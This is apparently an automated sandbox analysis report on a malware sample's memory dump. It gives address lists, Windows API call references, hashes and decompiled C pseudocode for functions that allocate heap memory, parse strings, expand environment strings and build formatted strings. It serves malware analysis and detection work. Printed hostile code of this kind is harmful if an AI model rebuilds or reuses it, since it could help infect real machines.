0x04b222c0
0x04b222c2
0x04b222c7
0x04b222d1
0x04b222d1
0x04b222c9
0x04b222c9
0x04b222c9
0x04b222c9
0x04b222d8
0x04b222e5
0x04b222ec
0x04b222f1
0x04b222f1
0x04b222f9
0x04b222fc
0x04b22322
0x04b2232e
0x04b22333
0x04b22335
0x04b2233a
0x04b22366
0x04b22368
0x04b2233c
0x04b22340
0x04b22345
0x04b2234a
0x04b22351
0x04b22357
0x04b2235c
0x04b22362
0x04b22369
0x04b2236b
0x04b2236d
0x04b2237c
0x04b22382
0x04b22384
0x04b22389
0x04b223b9
0x04b223bb
0x04b2238b
0x04b2238b
0x04b22391
0x04b2239e
0x04b223a4
0x04b223a4
0x04b223ac
0x04b223b5
0x04b223bc
0x04b223be
0x04b223c0
0x04b223c7
0x04b223d4
0x04b223d9
0x04b223de
0x04b223e0
0x04b223e2
0x00000000
0x00000000
0x04b223e4
0x04b223e9
0x04b223eb
0x04b223f2
0x04b223f6
0x04b223f9
0x04b2240e
0x04b22412
0x04b22417
0x00000000
0x04b22417
0x04b223fb
0x04b223fd
0x00000000
0x00000000
0x04b22403
0x04b22408
0x04b2240a
0x04b2240c
0x00000000
0x00000000
0x00000000
0x04b2240c
0x04b223ef
0x04b223ef
0x04b223c0
0x04b222fe
0x04b222fe
0x04b22303
0x04b22419
0x04b2241d
0x04b22425
0x04b22425
0x00000000
0x04b2241d
0x04b22309
0x04b2230c
0x04b22316
0x04b2231d
0x00000000
0x04b2242d
0x04b2242d
0x04b22431
0x04b22435
0x04b22435

APIs

Part of subcall function 04B2550E: GetModuleHandleA.KERNEL32(4C44544E,00000000,04B22274,00000000,00000000), ref: 04B2551D

CloseHandle.KERNEL32(?,?,?,4D283A53,?,?), ref: 04B222F1

Part of subcall function 04B22049: RtlAllocateHeap.NTDLL(00000000,00000000,04B27E50), ref: 04B22055

memset.NTDLL ref: 04B22340
RtlInitializeCriticalSection.NTDLL(054E9570), ref: 04B22351

Part of subcall function 04B23DD9: memset.NTDLL ref: 04B23DEE
Part of subcall function 04B23DD9: lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04B23E22
Part of subcall function 04B23DD9: StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 04B23E2D

RtlAllocateHeap.NTDLL(00000000,00000043,00000060), ref: 04B2237C
wsprintfA.USER32 ref: 04B223AC

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: AllocateHandleHeapmemset$CloseCriticalInitializeModuleSectionlstrlenwsprintf
String ID:
API String ID: 4246211962-0
Opcode ID: 74282c07c0e3e30515bf4416a6a0a1caf17103ce102d597a7d1063a1bf7bca81
Instruction ID: 4a127581108a0985fee9a0324dbb883b0546730a8321d8a6871beb1eb1d7bdf1
Opcode Fuzzy Hash: 74282c07c0e3e30515bf4416a6a0a1caf17103ce102d597a7d1063a1bf7bca81
Instruction Fuzzy Hash: 6F51C271A10635ABEF399BB8DB45A6E37ACEB08704F0044E6E609E7140E779E9448B61

Uniqueness

Uniqueness Score: -1.00%

Function 04B23AEF, Relevance: 6.1, APIs: 4, Instructions: 98memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32(80000002), ref: 04B23B46
SysAllocString.OLEAUT32(04B21885), ref: 04B23B89
SysFreeString.OLEAUT32(00000000), ref: 04B23B9D
SysFreeString.OLEAUT32(00000000), ref: 04B23BAB

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$AllocFree
String ID:
API String ID: 344208780-0
Opcode ID: e8b61b22ee26ccb0670d9b58e1529a392316f1ad049be521664c20424718c1f8
Instruction ID: b5690719e386789d202346a4aae7ad63a49b6066d5524e89c77fc18623c0916f
Opcode Fuzzy Hash: e8b61b22ee26ccb0670d9b58e1529a392316f1ad049be521664c20424718c1f8
Instruction Fuzzy Hash: 2331EC71900109EFDB15DFA8D6C48AE7BF9FF48340B10946EE90AA7210E739EA45CF61

Uniqueness

Uniqueness Score: -1.00%

Function 04B21A70, Relevance: 6.1, APIs: 4, Instructions: 76
sleepstringCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E04B21A70(intOrPtr* __eax, void** _a4, intOrPtr* _a8) {
				intOrPtr _v8;
				void* _v12;
				void* _v16;
				intOrPtr _t26;
				intOrPtr* _t28;
				intOrPtr _t31;
				intOrPtr* _t32;
				void* _t39;
				int _t46;
				intOrPtr* _t47;
				int _t48;

				_t47 = __eax;
				_push( &_v12);
				_push(__eax);
				_t39 = 0;
				_t46 = 0; // executed
				_t26 =  *((intOrPtr*)( *__eax + 0x24))();
				_v8 = _t26;
				if(_t26 < 0) {
					L13:
					return _v8;
				}
				if(_v12 == 0) {
					Sleep(0xc8);
					_v8 =  *((intOrPtr*)( *_t47 + 0x24))(_t47,  &_v12);
				}
				if(_v8 >= _t39) {
					_t28 = _v12;
					if(_t28 != 0) {
						_t31 =  *((intOrPtr*)( *_t28 + 0x100))(_t28,  &_v16);
						_v8 = _t31;
						if(_t31 >= 0) {
							_t46 = lstrlenW(_v16);
							if(_t46 != 0) {
								_t46 = _t46 + 1;
								_t48 = _t46 + _t46;
								_t39 = E04B22049(_t48);
								if(_t39 == 0) {
									_v8 = 0x8007000e;
								} else {
									memcpy(_t39, _v16, _t48);
								}
								__imp__#6(_v16); // executed
							}
						}
						_t32 = _v12;
						 *((intOrPtr*)( *_t32 + 8))(_t32);
					}
					 *_a4 = _t39;
					 *_a8 = _t46 + _t46;
				}
				goto L13;
			}

0x04b21a7c
0x04b21a80
0x04b21a81
0x04b21a82
0x04b21a84
0x04b21a86
0x04b21a8b
0x04b21a8e
0x04b21b25
0x04b21b2c
0x04b21b2c
0x04b21a97
0x04b21a9e
0x04b21aae
0x04b21aae
0x04b21ab4
0x04b21ab6
0x04b21abb
0x04b21ac4
0x04b21acc
0x04b21acf
0x04b21ada
0x04b21ade
0x04b21ae0
0x04b21ae1
0x04b21aea
0x04b21aee
0x04b21aff
0x04b21af0
0x04b21af5
0x04b21afa
0x04b21b09
0x04b21b09
0x04b21ade
0x04b21b0f
0x04b21b15
0x04b21b15
0x04b21b1e
0x04b21b23
0x04b21b23
0x00000000

APIs

Sleep.KERNEL32(000000C8), ref: 04B21A9E
lstrlenW.KERNEL32(?), ref: 04B21AD4
memcpy.NTDLL(00000000,?,?,?), ref: 04B21AF5
SysFreeString.OLEAUT32(?), ref: 04B21B09

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeSleepStringlstrlenmemcpy
String ID:
API String ID: 1198164300-0
Opcode ID: 7574fe2846e93f6deaa212e28d83a2107d2a3ce05212e07122fd20dcc52b8a3a
Instruction ID: 565676399049d4f5f6a50310a93690db77762c12246170eb0b40b173a0349b46
Opcode Fuzzy Hash: 7574fe2846e93f6deaa212e28d83a2107d2a3ce05212e07122fd20dcc52b8a3a
Instruction Fuzzy Hash: D5218675A00219FFCB10DFA8D988DDEBBB9FF49301B1441A9E809D7210E731EA45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 04B294A9, Relevance: 6.1, APIs: 4, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E04B294A9(char* __eax) {
				char* _t8;
				intOrPtr _t12;
				char* _t21;
				signed int _t23;
				char* _t24;
				signed int _t26;
				void* _t27;

				_t21 = __eax;
				_push(0x20);
				_t23 = 1;
				_push(__eax);
				while(1) {
					_t8 = StrChrA();
					if(_t8 == 0) {
						break;
					}
					_t23 = _t23 + 1;
					_push(0x20);
					_push( &(_t8[1]));
				}
				_t12 = E04B22049(_t23 << 2);
				 *((intOrPtr*)(_t27 + 0x10)) = _t12;
				if(_t12 != 0) {
					StrTrimA(_t21, 0x4b2c2a4); // executed
					_t26 = 0;
					do {
						_t24 = StrChrA(_t21, 0x20);
						if(_t24 != 0) {
							 *_t24 = 0;
							_t24 =  &(_t24[1]);
							StrTrimA(_t24, 0x4b2c2a4);
						}
						 *( *((intOrPtr*)(_t27 + 0x10)) + _t26 * 4) = _t21;
						_t26 = _t26 + 1;
						_t21 = _t24;
					} while (_t24 != 0);
					 *((intOrPtr*)( *((intOrPtr*)(_t27 + 0x18)))) =  *((intOrPtr*)(_t27 + 0x10));
				}
				return 0;
			}

0x04b294b4
0x04b294b8
0x04b294ba
0x04b294bb
0x04b294c3
0x04b294c3
0x04b294c7
0x00000000
0x00000000
0x04b294be
0x04b294bf
0x04b294c2
0x04b294c2
0x04b294cf
0x04b294d6
0x04b294da
0x04b294e2
0x04b294e8
0x04b294ea
0x04b294ef
0x04b294f3
0x04b294f5
0x04b294f8
0x04b294ff
0x04b294ff
0x04b29509
0x04b2950c
0x04b2950f
0x04b2950f
0x04b2951b
0x04b2951b
0x04b29528

APIs

StrChrA.SHLWAPI(?,00000020,00000000,054E95AC,?,04B223DE,?,04B27634,054E95AC,?,04B223DE), ref: 04B294C3
StrTrimA.KERNELBASE(?,04B2C2A4,00000002,?,04B223DE,?,04B27634,054E95AC,?,04B223DE), ref: 04B294E2
StrChrA.SHLWAPI(?,00000020,?,04B223DE,?,04B27634,054E95AC,?,04B223DE), ref: 04B294ED
StrTrimA.SHLWAPI(00000001,04B2C2A4,?,04B223DE,?,04B27634,054E95AC,?,04B223DE), ref: 04B294FF

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Trim
String ID:
API String ID: 3043112668-0
Opcode ID: 40e4f4d669292a690df3fff03d6213fe9b8042aed892cc9ca099ea1789c781b1
Instruction ID: 587ac681b0090a3210f5066a83dcd70633fbe4552130645b838b2d9a4b8d2c6f
Opcode Fuzzy Hash: 40e4f4d669292a690df3fff03d6213fe9b8042aed892cc9ca099ea1789c781b1
Instruction Fuzzy Hash: 5D01B5B17053325FD3309E698E49F2BBE9CEF85651F110599F85DD7240DB65D80186A0

Uniqueness

Uniqueness Score: -1.00%

Function 04B273FD, Relevance: 4.6, APIs: 3, Instructions: 94
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E04B273FD(void* __edx) {
				void* _v8;
				int _v12;
				WCHAR* _v16;
				void* __esi;
				void* _t23;
				intOrPtr _t24;
				void* _t26;
				intOrPtr _t32;
				intOrPtr _t35;
				void* _t37;
				intOrPtr _t38;
				intOrPtr _t42;
				void* _t45;
				void* _t50;
				void* _t55;

				_t50 = __edx;
				_v12 = 0;
				_t23 = E04B2A72D(0,  &_v8); // executed
				if(_t23 != 0) {
					_v8 = 0;
				}
				_t24 =  *0x4b2d27c; // 0x9ba5a8
				_t4 = _t24 + 0x4b2ede0; // 0x54e9388
				_t5 = _t24 + 0x4b2ed88; // 0x4f0053
				_t26 = E04B21262( &_v16, _v8, _t5, _t4); // executed
				_t45 = _t26;
				if(_t45 == 0) {
					StrToIntExW(_v16, 0,  &_v12);
					_t45 = 8;
					if(_v12 < _t45) {
						_t45 = 1;
						__eflags = 1;
					} else {
						_t32 =  *0x4b2d27c; // 0x9ba5a8
						_t11 = _t32 + 0x4b2edd4; // 0x54e937c
						_t48 = _t11;
						_t12 = _t32 + 0x4b2ed88; // 0x4f0053
						_t55 = E04B27CB8(_t11, _t12, _t11);
						_t59 = _t55;
						if(_t55 != 0) {
							_t35 =  *0x4b2d27c; // 0x9ba5a8
							_t13 = _t35 + 0x4b2ee1e; // 0x30314549
							_t37 = E04B289D6(_t48, _t50, _t59, _v8, _t55, _t13, 0x14); // executed
							if(_t37 == 0) {
								_t61 =  *0x4b2d25c - 6;
								if( *0x4b2d25c <= 6) {
									_t42 =  *0x4b2d27c; // 0x9ba5a8
									_t15 = _t42 + 0x4b2ec2a; // 0x52384549
									E04B289D6(_t48, _t50, _t61, _v8, _t55, _t15, 0x13);
								}
							}
							_t38 =  *0x4b2d27c; // 0x9ba5a8
							_t17 = _t38 + 0x4b2ee18; // 0x54e93c0
							_t18 = _t38 + 0x4b2edf0; // 0x680043
							_t45 = E04B22659(_v8, 0x80000001, _t55, _t18, _t17);
							HeapFree( *0x4b2d238, 0, _t55);
						}
					}
					HeapFree( *0x4b2d238, 0, _v16);
				}
				_t54 = _v8;
				if(_v8 != 0) {
					E04B21F99(_t54);
				}
				return _t45;
			}

0x04b273fd
0x04b2740d
0x04b27410
0x04b27417
0x04b27419
0x04b27419
0x04b2741c
0x04b27421
0x04b27428
0x04b27435
0x04b2743a
0x04b2743e
0x04b2744c
0x04b2745a
0x04b2745e
0x04b274ef
0x04b274ef
0x04b27464
0x04b27464
0x04b27469
0x04b27469
0x04b27470
0x04b2747c
0x04b2747e
0x04b27480
0x04b27482
0x04b27489
0x04b27494
0x04b2749b
0x04b2749d
0x04b274a4
0x04b274a6
0x04b274ad
0x04b274b8
0x04b274b8
0x04b274a4
0x04b274bd
0x04b274c2
0x04b274c9
0x04b274e7
0x04b274e9
0x04b274e9
0x04b27480
0x04b274fb
0x04b274fb
0x04b274fd
0x04b27502
0x04b27504
0x04b27504
0x04b2750f

APIs

StrToIntExW.SHLWAPI(?,00000000,?,?,004F0053,054E9388,00000000,?,74B5F710,00000000,74B5F730), ref: 04B2744C
HeapFree.KERNEL32(00000000,00000000,?,80000001,00000000,00680043,054E93C0,?,00000000,30314549,00000014,004F0053,054E937C), ref: 04B274E9
HeapFree.KERNEL32(00000000,?,?,?,?,?,?,?,04B26814), ref: 04B274FB

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 96babfaa7e59db23d5a114915176cf6d8d94d71ede4c28b2caf6b724da47c3b0
Instruction ID: e2bb8902b4712f75a448b2df8ebfda92befbba312902f2192e2d30847568e068
Opcode Fuzzy Hash: 96babfaa7e59db23d5a114915176cf6d8d94d71ede4c28b2caf6b724da47c3b0
Instruction Fuzzy Hash: 0631C172900128BFFF21EBA5DF44E9A7BBCEB48304F054096B518A7120D775EE04DB64

Uniqueness

Uniqueness Score: -1.00%

Function 04B28504, Relevance: 4.6, APIs: 3, Instructions: 76
memoryCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E04B28504(void* __ecx, char _a4, void** _a8, intOrPtr* _a12, intOrPtr* _a16, intOrPtr* _a20) {
				void* _v8;
				void* __edi;
				intOrPtr _t18;
				void* _t24;
				void* _t30;
				void* _t37;
				void* _t40;
				intOrPtr _t42;

				_t32 = __ecx;
				_push(__ecx);
				_push(__ecx);
				_t42 =  *0x4b2d340; // 0x54e9928
				_push(0x800);
				_push(0);
				_push( *0x4b2d238);
				if( *0x4b2d24c >= 5) {
					if(RtlAllocateHeap() == 0) {
						L6:
						_t30 = 8;
						L7:
						if(_t30 != 0) {
							L10:
							 *0x4b2d24c =  *0x4b2d24c + 1;
							L11:
							return _t30;
						}
						_t44 = _a4;
						_t40 = _v8;
						 *_a16 = _a4;
						 *_a20 = E04B22496(_t44, _t40);
						_t18 = E04B2A66E(_t37, _t40, _t44);
						if(_t18 != 0) {
							 *_a8 = _t40;
							 *_a12 = _t18;
							if( *0x4b2d24c < 5) {
								 *0x4b2d24c =  *0x4b2d24c & 0x00000000;
							}
							goto L11;
						}
						_t30 = 0xbf;
						E04B2A1B0();
						RtlFreeHeap( *0x4b2d238, 0, _t40); // executed
						goto L10;
					}
					_t24 = E04B2A279(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t13);
					L5:
					_t30 = _t24;
					goto L7;
				}
				if(RtlAllocateHeap() == 0) {
					goto L6;
				}
				_t24 = E04B28B94(_a4, _t32, _t37, _t42,  &_v8,  &_a4, _t25); // executed
				goto L5;
			}

0x04b28504
0x04b28507
0x04b28508
0x04b28512
0x04b28519
0x04b2851e
0x04b28520
0x04b28526
0x04b2854e
0x04b28566
0x04b28568
0x04b28569
0x04b2856b
0x04b285a9
0x04b285a9
0x04b285af
0x04b285b5
0x04b285b5
0x04b2856d
0x04b28573
0x04b28576
0x04b28585
0x04b28587
0x04b2858e
0x04b285c2
0x04b285c7
0x04b285c9
0x04b285cb
0x04b285cb
0x00000000
0x04b285c9
0x04b28590
0x04b28595
0x04b285a3
0x00000000
0x04b285a3
0x04b2855d
0x04b28562
0x04b28562
0x00000000
0x04b28562
0x04b28530
0x00000000
0x00000000
0x04b2853f
0x00000000

APIs

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 04B28528

Part of subcall function 04B28B94: GetTickCount.KERNEL32 ref: 04B28BA8
Part of subcall function 04B28B94: wsprintfA.USER32 ref: 04B28BF8
Part of subcall function 04B28B94: wsprintfA.USER32 ref: 04B28C15
Part of subcall function 04B28B94: wsprintfA.USER32 ref: 04B28C41
Part of subcall function 04B28B94: HeapFree.KERNEL32(00000000,?), ref: 04B28C53
Part of subcall function 04B28B94: wsprintfA.USER32 ref: 04B28C74
Part of subcall function 04B28B94: HeapFree.KERNEL32(00000000,?), ref: 04B28C84
Part of subcall function 04B28B94: RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04B28CB2
Part of subcall function 04B28B94: GetTickCount.KERNEL32 ref: 04B28CC3

RtlAllocateHeap.NTDLL(00000000,00000800,74B5F710), ref: 04B28546
RtlFreeHeap.NTDLL(00000000,00000002,04B2685F,?,04B2685F,00000002,?,?,04B22417,?), ref: 04B285A3

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: Heap$wsprintf$AllocateFree$CountTick
String ID:
API String ID: 1676223858-0
Opcode ID: 2f4b8a9294f77100e464c630dcebdc8428a9f81b6e4e07a0bbe348823753ea83
Instruction ID: badf6116a62ddab6011d14238254afaf7da2f9acb935ebad3b684b3038214a9a
Opcode Fuzzy Hash: 2f4b8a9294f77100e464c630dcebdc8428a9f81b6e4e07a0bbe348823753ea83
Instruction Fuzzy Hash: BC218072200225EFEB21AF54DE84E9A37ACEB48744F004167F909EB240DB75FE009BB1

Uniqueness

Uniqueness Score: -1.00%

Function 04B23DD9, Relevance: 3.9, APIs: 3, Instructions: 155
stringCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E04B23DD9(void* __eflags, int _a4) {
				intOrPtr _v12;
				WCHAR* _v16;
				char* _v20;
				int _v24;
				void* _v36;
				char _v40;
				char _v68;
				char _v72;
				char _v76;
				char _v80;
				void _v84;
				char _v88;
				void* __ebx;
				void* __esi;
				intOrPtr _t40;
				int _t45;
				intOrPtr _t50;
				intOrPtr _t52;
				void* _t55;
				intOrPtr _t67;
				void* _t70;
				void* _t80;
				WCHAR* _t85;

				_v88 = 0;
				memset( &_v84, 0, 0x2c);
				_v40 = 0;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t40 =  *0x4b2d27c; // 0x9ba5a8
				_t5 = _t40 + 0x4b2ee40; // 0x410025
				_t85 = E04B26A12(_t5);
				_v16 = _t85;
				if(_t85 == 0) {
					_t80 = 8;
					L24:
					return _t80;
				}
				_t45 = StrCmpNIW(_t85, _a4, lstrlenW(_t85)); // executed
				if(_t45 != 0) {
					_t80 = 1;
					L22:
					E04B29039(_v16);
					goto L24;
				}
				if(E04B2A72D(0,  &_a4) != 0) {
					_a4 = 0;
				}
				_t50 = E04B2809F(0,  *0x4b2d33c);
				_v12 = _t50;
				if(_t50 == 0) {
					_t80 = 8;
					goto L19;
				} else {
					_t52 =  *0x4b2d27c; // 0x9ba5a8
					_t11 = _t52 + 0x4b2e81a; // 0x65696c43
					_t55 = E04B2809F(0, _t11);
					_t87 = _t55;
					if(_t55 == 0) {
						_t80 = 8;
					} else {
						_t80 = E04B26BFA(_a4, 0x80000001, _v12, _t87,  &_v88,  &_v84);
						E04B29039(_t87);
					}
					if(_t80 != 0) {
						L17:
						E04B29039(_v12);
						L19:
						_t86 = _a4;
						if(_a4 != 0) {
							E04B21F99(_t86);
						}
						goto L22;
					} else {
						if(( *0x4b2d260 & 0x00000001) == 0) {
							L14:
							E04B28F83(_t80, _v88, _v84,  *0x4b2d270, 0);
							_t80 = E04B21C74(_v88,  &_v80,  &_v76, 0);
							if(_t80 == 0) {
								_v24 = _a4;
								_v20 =  &_v88;
								_t80 = E04B242EA( &_v40, 0);
							}
							E04B29039(_v88);
							goto L17;
						}
						_t67 =  *0x4b2d27c; // 0x9ba5a8
						_t18 = _t67 + 0x4b2e823; // 0x65696c43
						_t70 = E04B2809F(0, _t18);
						_t89 = _t70;
						if(_t70 == 0) {
							_t80 = 8;
						} else {
							_t80 = E04B26BFA(_a4, 0x80000001, _v12, _t89,  &_v72,  &_v68);
							E04B29039(_t89);
						}
						if(_t80 != 0) {
							goto L17;
						} else {
							goto L14;
						}
					}
				}
			}

0x04b23deb
0x04b23dee
0x04b23df5
0x04b23dfb
0x04b23dfc
0x04b23dfd
0x04b23dfe
0x04b23dff
0x04b23e00
0x04b23e08
0x04b23e14
0x04b23e18
0x04b23e1b
0x04b23f6b
0x04b23f6e
0x04b23f72
0x04b23f72
0x04b23e2d
0x04b23e35
0x04b23f5e
0x04b23f5f
0x04b23f62
0x00000000
0x04b23f62
0x04b23e47
0x04b23e49
0x04b23e49
0x04b23e54
0x04b23e5b
0x04b23e5e
0x04b23f4d
0x00000000
0x04b23e64
0x04b23e64
0x04b23e69
0x04b23e72
0x04b23e77
0x04b23e80
0x04b23ea3
0x04b23e82
0x04b23e98
0x04b23e9a
0x04b23e9a
0x04b23ea6
0x04b23f41
0x04b23f44
0x04b23f4e
0x04b23f4e
0x04b23f53
0x04b23f55
0x04b23f55
0x00000000
0x04b23eac
0x04b23eb3
0x04b23ef4
0x04b23f05
0x04b23f1b
0x04b23f1f
0x04b23f24
0x04b23f2a
0x04b23f37
0x04b23f37
0x04b23f3c
0x00000000
0x04b23f3c
0x04b23eb5
0x04b23eba
0x04b23ec3
0x04b23ec8
0x04b23ecc
0x04b23eef
0x04b23ece
0x04b23ee4
0x04b23ee6
0x04b23ee6
0x04b23ef2
0x00000000
0x00000000
0x00000000
0x00000000
0x04b23ef2
0x04b23ea6

APIs

memset.NTDLL ref: 04B23DEE

Part of subcall function 04B26A12: ExpandEnvironmentStringsW.KERNEL32(00000000,00000000,00000000,?,?,00000000,04B23E14,00410025,00000005,?,00000000), ref: 04B26A23
Part of subcall function 04B26A12: ExpandEnvironmentStringsW.KERNEL32(?,00000000,00000000,00000000), ref: 04B26A40

lstrlenW.KERNEL32(00000000,00410025,00000005,?,00000000), ref: 04B23E22
StrCmpNIW.KERNELBASE(00000000,00000000,00000000), ref: 04B23E2D

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: EnvironmentExpandStrings$lstrlenmemset
String ID:
API String ID: 3817122888-0
Opcode ID: 5ce71b45b0889ef7f3d25cb3814de41b55f77ddc6f1b0e886640c6ee00c512ed
Instruction ID: c7a03ecb69fff4c6b78c3720ba93e3d9d8f3e25058e9a1f62d5ccda99f4642ef
Opcode Fuzzy Hash: 5ce71b45b0889ef7f3d25cb3814de41b55f77ddc6f1b0e886640c6ee00c512ed
Instruction Fuzzy Hash: 8C412471A01228ABEB11AFF4DE849DF7BBCFF08744F0045A6A909E7110D679ED458BA0

Uniqueness

Uniqueness Score: -1.00%

Function 04B29152, Relevance: 3.1, APIs: 2, Instructions: 112
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E04B29152(void* __ecx, void* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a20, intOrPtr _a24, intOrPtr* _a28) {
				void* _v8;
				void* __esi;
				intOrPtr* _t35;
				void* _t40;
				intOrPtr* _t41;
				intOrPtr* _t43;
				intOrPtr* _t45;
				intOrPtr* _t50;
				intOrPtr* _t52;
				void* _t54;
				intOrPtr* _t55;
				intOrPtr* _t57;
				intOrPtr* _t61;
				intOrPtr* _t65;
				intOrPtr _t68;
				void* _t72;
				void* _t75;
				void* _t76;

				_t55 = _a4;
				_t35 =  *((intOrPtr*)(_t55 + 4));
				_a4 = 0;
				_t76 =  *((intOrPtr*)( *_t35 + 0x4c))(_t35, _a16, 0,  &_v8, 0, _t72, _t75, _t54, __ecx, __ecx);
				if(_t76 < 0) {
					L18:
					return _t76;
				}
				_t40 = E04B23AEF(_v8, _a8, _a12, _a20,  &_a20,  &_a12); // executed
				_t76 = _t40;
				if(_t76 >= 0) {
					_t61 = _a28;
					if(_t61 != 0 &&  *_t61 != 0) {
						_t52 = _v8;
						_t76 =  *((intOrPtr*)( *_t52 + 0x14))(_t52, _a24, 0, _t61, 0);
					}
					if(_t76 >= 0) {
						_t43 =  *_t55;
						_t68 =  *0x4b2d27c; // 0x9ba5a8
						_t20 = _t68 + 0x4b2e1fc; // 0x740053
						_t76 =  *((intOrPtr*)( *_t43 + 0x60))(_t43, _t20, _a16, 0, 0, _v8,  &_a4, 0);
						if(_t76 >= 0) {
							_t76 = E04B27C14(_a4);
							if(_t76 >= 0) {
								_t65 = _a28;
								if(_t65 != 0 &&  *_t65 == 0) {
									_t50 = _a4;
									_t76 =  *((intOrPtr*)( *_t50 + 0x10))(_t50, _a24, 0, _t65, 0, 0);
								}
							}
						}
						_t45 = _a4;
						if(_t45 != 0) {
							 *((intOrPtr*)( *_t45 + 8))(_t45);
						}
						_t57 = __imp__#6;
						if(_a20 != 0) {
							 *_t57(_a20);
						}
						if(_a12 != 0) {
							 *_t57(_a12);
						}
					}
				}
				_t41 = _v8;
				 *((intOrPtr*)( *_t41 + 8))(_t41);
				goto L18;
			}

0x04b29158
0x04b2915b
0x04b2916b
0x04b29174
0x04b29178
0x04b29246
0x04b2924c
0x04b2924c
0x04b29192
0x04b29197
0x04b2919b
0x04b291a1
0x04b291a6
0x04b291ad
0x04b291bc
0x04b291bc
0x04b291c0
0x04b291c2
0x04b291ce
0x04b291d9
0x04b291e4
0x04b291e8
0x04b291f2
0x04b291f6
0x04b291f8
0x04b291fd
0x04b29204
0x04b29214
0x04b29214
0x04b291fd
0x04b291f6
0x04b29216
0x04b2921b
0x04b29220
0x04b29220
0x04b29226
0x04b2922c
0x04b29231
0x04b29231
0x04b29236
0x04b2923b
0x04b2923b
0x04b29236
0x04b291c0
0x04b2923d
0x04b29243
0x00000000

APIs

Part of subcall function 04B23AEF: SysAllocString.OLEAUT32(80000002), ref: 04B23B46
Part of subcall function 04B23AEF: SysFreeString.OLEAUT32(00000000), ref: 04B23BAB

SysFreeString.OLEAUT32(?), ref: 04B29231
SysFreeString.OLEAUT32(04B21885), ref: 04B2923B

Memory Dump Source

Source File: 00000003.00000002.470840398.0000000004B21000.00000020.00000001.sdmp, Offset: 04B20000, based on PE: true

Associated: 00000003.00000002.470825411.0000000004B20000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470855594.0000000004B2C000.00000002.00000001.sdmp Download File
Associated: 00000003.00000002.470865303.0000000004B2D000.00000004.00000001.sdmp Download File
Associated: 00000003.00000002.470891876.0000000004B2F000.00000002.00000001.sdmp Download File

Similarity

API ID: String$Free$Alloc
String ID:
API String ID: 986138563-0
Opcode ID: ec424d69c30081e3c70109cc705f6f5a744ecb7594a5190d4c6eec8cf0710b54
